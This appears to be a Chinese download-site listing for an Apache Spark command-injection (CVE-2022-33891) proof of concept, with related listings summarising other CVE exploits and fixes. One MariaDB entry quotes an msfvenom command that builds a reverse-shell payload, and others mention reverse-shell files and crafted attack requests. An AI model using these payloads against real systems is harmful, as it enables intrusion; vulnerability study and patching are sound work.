Advertisement

Apache Spark 命令注入 (CVE-2022-33891) POC

  •  5星
  •     浏览量: 0
  •     大小:None
  •      文件类型：PY

简介：
本POC探讨了Apache Spark中的命令注入漏洞(CVE-2022-33891)，展示了该漏洞如何被利用，以及可能带来的安全风险。 Apache Spark 命令注入（CVE-2022-33891）POC 受影响的版本： - Apache spark version < 3.0.3 - 3.1.1 < Apache spark 版本 < 3.1.2 - Apache Spark version >= 3.3.0 修复方案： 1. 建议升级到安全版本。 2. 在安全设备路径中添加黑名单或者增加WAF规则（临时方案）。

全部评论 (0)

还没有任何评论哟~
客服
客服
客服关闭
  • Apache Spark 命令注入 (CVE-2022-33891) POC
    优质
    本POC探讨了Apache Spark中的命令注入漏洞(CVE-2022-33891)，展示了该漏洞如何被利用，以及可能带来的安全风险。 Apache Spark 命令注入（CVE-2022-33891）POC 受影响的版本： - Apache spark version < 3.0.3 - 3.1.1 < Apache spark 版本 < 3.1.2 - Apache Spark version >= 3.3.0 修复方案： 1. 建议升级到安全版本。 2. 在安全设备路径中添加黑名单或者增加WAF规则（临时方案）。
     
  • Apache Spark 命令注入(CVE-2022-33891)漏洞格式化文档
    优质
    本文档详细解析了Apache Spark中的命令注入漏洞（CVE-2022-33891），提供了漏洞成因、影响范围及修复建议的全面分析，旨在帮助用户有效防范安全威胁。 Apache Spark 命令注入（CVE-2022-33891）格式化文档 Apache Spark 命令注入（CVE-2022-33891）漏洞复现 影响版本： - Apache spark version < 3.0.3 - 3.1.1 <= Apache spark 版本 < 3.1.2 - Apache Spark version >= 3.3.0 修复方案： 1. 建议升级到安全版本。 2. 在安全设备路径中添加黑名单或者增加WAF规则（临时方案）。
     
  • Spring Cloud Gateway CVE-2022-22947 内存马POC
    优质
    本资源提供针对Spring Cloud Gateway中存在的CVE-2022-22947漏洞的内存马概念验证代码（POC），帮助开发者检测和防御此类安全威胁。 ### 漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，旨在为微服务架构提供一种简单、有效且统一的 API 路由管理方式。 官方博客发布了一篇关于 Spring Cloud Gateway 的安全公告。该公告指出，在启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可能受到代码注入攻击。攻击者可以通过发送特制的恶意请求来远程执行任意代码。 ### 影响版本 - 3.1.0 - 3.0.0 至 3.0.6 - 其他已不再更新的版本
     
  • CVE-2021-27928: MariaDB MySQL-wsrep 提供商命令注入漏洞...
    优质
    该简介描述的是一个针对MariaDB MySQL-wsrep插件的严重安全漏洞（CVE-2021-27928），允许远程攻击者通过精心构造的请求执行任意系统命令，对数据库系统的安全性构成重大威胁。此漏洞的存在使得黑客有机会控制服务器并访问敏感数据。建议用户尽快更新到最新版本以修复该问题。 Exploit Title: MariaDB 10.2 MySQL - wsrep_provider OS Command Execution Date: 03/18/2021 Exploit Author: Central InfoSec Versions Affected: - MariaDB 10.2 before 10.2.37 - MariaDB 10.3 before 10.3.28 - MariaDB 10.4 before 10.4.18 - MariaDB 10.5 before 10.5.9 Tested on: Linux CVE : CVE-2021-27928 如何利用： 步骤1：建立反向Shell有效负载 msfvenom -p linux/x64/shell LHOST=目标IP地址 LPORT=端口号 -f raw > payload.bin
     
  • Windows CVE-2022-37969 本地权限提升PoC
    优质
    这段简介可以描述为：“Windows CVE-2022-37969 本地权限提升PoC”是一个关于在Windows操作系统中发现的安全漏洞的实例，具体指编号为CVE-2022-37969的漏洞。此漏洞允许本地攻击者利用特定方法实现权限提升，从而对系统安全构成威胁。提供的PoC（Proof of Concept）代码或文档旨在帮助开发者和安全研究人员验证该漏洞的存在性，并 CVE-2022-37969 是通用日志文件系统驱动 clfs 中的越界写入漏洞，通过该漏洞可以完成提权。 理解 CVE-2022-37969 Windows Common Log File System Driver Local Privilege Escalation 的原理。 作者: www.chwm.vip #pragma warning (disable : 4005) #include #include #include #include #include #include #include #include ntos.h #include crc32.h #pragma comment(lib, ntdll.lib) #pragma comment(lib, Clfsw32.lib)
     
  • Apache Druid CVE-2021-25646命令执行漏洞复现.zip
    优质
    该资料包提供了关于Apache Druid中CVE-2021-25646漏洞的详细信息及其实验环境，帮助安全研究人员与开发人员理解和重现此高危命令执行漏洞。 Apache Druid 命令执行漏洞（CVE-2021-25646）复现学习笔记包括以下四部分内容：1. Apache Druid 命令执行漏洞（CVE-2021-25646）复现.pdf；2. apache-druid-0.20.0-bin.tar.gz；3. dns解析.txt；4. 反弹shell.txt。
     
  • CVE-2021-21315-PoC: 关于CVE 2021-21315的PoC示例
    优质
    这段内容提供了一个针对CVE-2021-21315漏洞的实际攻击概念验证（Proof of Concept, PoC）示例，帮助安全研究人员和开发人员理解和测试该漏洞的影响及修复方法。 CVE-2021-21315影响了npm程序包“ systeminformation”。这是一个概念验证（PoC），表明该漏洞存在于系统信息库中。 “请务必检查或清理传递给si.inetLatency()、si.inetChecksite()、si.services()和si.processLoad()的服务参数。只允许使用字符串，拒绝任何数组。确保对字符串进行适当处理。” 由于原文未充分解释漏洞细节，我根据systeminformation的漏洞版本编写了一个小型应用程序来测试Node.js中易受攻击的应用程序。 PoC包括： - 使用明确存在的系统信息库创建一个简单的Node.js应用 - 简单的有效载荷可以在受影响的计算机上生成.txt文件 重现步骤如下： 1. 在Linux服务器环境中运行该应用。 2. 发出GET请求至`site.com/api/getServices?name=nginx` 3. 尝试发送这样的请求：`yoursite.co` 这里的“nginx”只是示例服务名，你可以用其他服务名称替换。
     
  • CVE-2020-0796-POC-Master.zip
    优质
    CVE-2020-0796-POC-Master.zip 是一个针对Windows SMBv3协议中存在的远程代码执行漏洞（CVE-2020-0796）的测试概念验证文件，主要用于安全研究人员进行漏洞分析与防护研究。 在SMB 3.1.1协议处理压缩消息的过程中，如果不对数据进行安全检查而直接使用，则可能导致缓冲区溢出的问题，并可能被攻击者利用以执行远程任意代码。默认情况下，SMBV3通信过程中会启用压缩/解压缩机制。在这种场景下，攻击者可以在SMB压缩转换包的协议头中控制OriginalSize值，使该值设置为一个非常大的数值并写入固定大小的缓冲区，从而引发缓冲区溢出问题。通过精心构造数据包，可以执行恶意命令。具体来说，在进行解压操作时申请的内存空间小于实际需要的空间会导致缓冲区溢出的情况发生。
     
  • WordPress 5.8.3 的 CVE-2022-21661 SQL 注入漏洞.pdf
    优质
    本PDF文档详细解析了WordPress 5.8.3版本中存在的CVE-2022-21661 SQL注入安全漏洞，包括漏洞原理、影响范围及修复建议。 最近爆出的 WordPress SQL 注入漏洞实际上并不是可以直接利用的漏洞，而是源于 WordPress 核心函数 WP_Query 的问题。由于这个函数常被插件使用，因此潜在的危害较大，并且可能影响到前台和后台。